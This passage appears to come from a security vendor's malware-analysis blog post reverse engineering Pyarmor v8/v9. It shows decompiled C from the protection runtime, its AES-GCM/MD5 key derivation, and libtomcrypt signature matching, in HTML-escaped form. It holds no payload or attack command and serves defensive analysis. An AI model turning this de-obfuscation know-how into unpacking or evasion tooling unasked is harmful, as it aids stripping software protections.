class=&quot;se&quot;&gt;\&apos;\xc3\x10&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x00\x00\x00\x00\x00\x00\x00\xb7\xd1&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;X&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xea\x17\xd4\xc4\xb2&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x9c&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xb3&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xe2\x00\xf0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;_l:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xa2\x11\x10&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Pv&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x04&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xf1&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xc3\xd6\x0e\x8b\xf9&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xa3\x84&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;X&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xcd\xba&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;B&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x94\x94&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;D&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x9b\x90&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Q&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xfd\x93&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;f &amp;lt;snip&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The bytes string goes on like that for the rest of the file.&lt;/p&gt;

&lt;p&gt;This successfully &lt;a href=&quot;https://xkcd.com/356/&quot;&gt;nerd-sniped&lt;/a&gt; our malware analysis team ;)&lt;/p&gt;

&lt;h1 id=&quot;pyarmor&quot;&gt;Pyarmor&lt;/h1&gt;

&lt;p&gt;Pyarmor is a product for protecting Python scripts from reverse engineering.
It also offers licensing features, such as binding scripts to specific hardware or outfitting scripts with a kill date.
Sadly, as is often the case with such products, it is also occasionally abused by malware in order to hide malicious code.&lt;/p&gt;

&lt;p&gt;There are a couple tools out there for unpacking Pyarmor, such as &lt;a href=&quot;https://github.com/Svenskithesource/PyArmor-Unpacker&quot;&gt;PyArmor-Unpacker&lt;/a&gt;, but they’re not compatible with the latest v8/v9 versions.
Other &lt;a href=&quot;https://github.com/vxnetrip/pyarmor-8-decrypt&quot;&gt;tooling&lt;/a&gt; that does claim to be compatible with v8+ uses a rather simplistic memory dumping technique, where it’s not guaranteed that all code (or any bytecode at all) will actually be decrypted. The reason will become clear later in this post.&lt;/p&gt;

&lt;p&gt;In the following we are going to provide insights into how Pyarmor works and offer some scripts that help make the original code visible via static unpacking.
It should also be noted that Pyarmor supports multiple protection modes, including one called &lt;em&gt;bcc mode&lt;/em&gt; where Python code is compiled into native code.
This poses additional challenges that are not covered here, but the same basic principles and crypto primitives should be used.&lt;/p&gt;

&lt;p&gt;Please note that we will explicitly &lt;strong&gt;not&lt;/strong&gt; provide an all-in-one unpacking solution - if that’s why you’ve come here, you might as well stop reading right now.&lt;/p&gt;

&lt;h2 id=&quot;basic-functionality&quot;&gt;Basic functionality&lt;/h2&gt;

&lt;p&gt;As can be seen in the snippet shown earlier, all the script does is importing a function called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor__&lt;/code&gt; and calling it.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pyarmor_runtime_007106&lt;/code&gt; is a directory in the Python interpreter directory that was shipped with the malware.
It contains a native module written in C called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pyarmor_runtime.pyd&lt;/code&gt; (essentially a 64-bit DLL) and a simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__init__&lt;/code&gt; script that again imports &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor__&lt;/code&gt; from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pyarmor_runtime&lt;/code&gt;. This is so that the main script can import the function from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pyarmor_runtime_007106&lt;/code&gt; without a further indirection.&lt;/p&gt;

&lt;p&gt;The native module exports a single function that is called by the Python interpreter for initialization purposes.
It creates a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyModule&lt;/code&gt; object by passing the following structure to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyModule_Create2&lt;/code&gt;:&lt;/p&gt;

&lt;figure id=&quot;moduledef&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/moduledef.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/02/moduledef.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/moduledef.png&quot; alt=&quot;Screenshot of IDA detailing the raw module struct&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/moduledef.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/moduledef.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/moduledef.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 3: Pyarmor PyModule struct, complete with helpful doc strings&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;From this, we can glean several pieces of information:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The user data portion of the module spans 0xC0 bytes&lt;/li&gt;
  &lt;li&gt;The module exposes just a single method&lt;/li&gt;
  &lt;li&gt;We get the function pointer for the native &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor__&lt;/code&gt; implementation&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A bit further down in the PyInit export function, the following code can be found:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;56&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;C_ASSERT_ARMORED_INDEX&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c_assert_armored&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// func&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v23&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PyCMethod_New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v23&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_58&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;md_state&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pMethods&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;88&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;C_ENTER_CO_OBJECT_INDEX&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;72&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c_enter_co_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// func&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v24&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PyCMethod_New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v24&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;md_state&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pMethods&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;112&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;120&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;96&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;C_LEAVE_CO_OBJECT_INDEX&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;104&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c_leave_co_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// func&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PyCMethod_New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;96&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This registers three additional C functions that apparently work on code (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;co&lt;/code&gt;) objects.
Code objects are low-level representations of compiled Python bytecode, encompassing all details required for code execution.
For example, the main body of a script is a code object, as well as each respective function defined within the body.
The enter and leave functions will become important later on.&lt;/p&gt;

&lt;p&gt;In terms of strings, the library contains quite a few cryptography-related strings, including source file paths.
A quick search revealed that we’re dealing with libtomcrypt, which was statically linked into the library.
We created a signature file for this library so that we can automatically name most functions belonging to libtomcrypt in the Pyarmor module.
For good results, it’s important to match the library version and compiler as good as possible when creating the signatures.
According to strings in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.rdata&lt;/code&gt; section, both GCC 6.4.0 and 7.4.0 were used for compilation.
After some trial and error, we got a good match with libtomcrypt v1.18.2 and GCC 6.4.0.
The resulting FLIRT signature is part of the &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling&quot;&gt;GitHub repo&lt;/a&gt; we published as part of this work.&lt;/p&gt;

&lt;p&gt;Quick recap of what we have so far:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;We know where calls to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor__&lt;/code&gt; land in the native module&lt;/li&gt;
  &lt;li&gt;We found functions that deal with entering/leaving code objects&lt;/li&gt;
  &lt;li&gt;We can see all places where libtomcrypt is used for cryptographic operations in the module&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;cryptography&quot;&gt;Cryptography&lt;/h2&gt;

&lt;p&gt;Pyarmor uses libtomcrypt for the following purposes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Verifying some RSA signature (this is nothing we really care about)&lt;/li&gt;
  &lt;li&gt;Deriving a key with MD5&lt;/li&gt;
  &lt;li&gt;Ciphering data with AES-GCM (Galois Counter Mode)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;key-derivation&quot;&gt;Key derivation&lt;/h3&gt;

&lt;p&gt;The key derivation function is called towards the end of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyInit&lt;/code&gt; export, after the RSA verification and some more checks on the module filename.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_key_via_md5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;signature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__m128i&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;si128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// xmm0&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;456&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+20h] [rbp-1C8h] BYREF&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;md5_init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;md5_process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aPyarmorVax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;20LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// &quot;pyarmor-vax-007106\x00\x00&quot;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;md5_process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unk_64944060&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;g_dword_64944050_0x20_rsaoffset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;g_dword_64944054_0x10E_rsakeylen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// rsa key&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;md5_process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;signature&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;signature&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;si128&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_mm_load_si128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__m128i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xmmword_649499C0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// vector with all bytes set to 0xF1&lt;/span&gt;
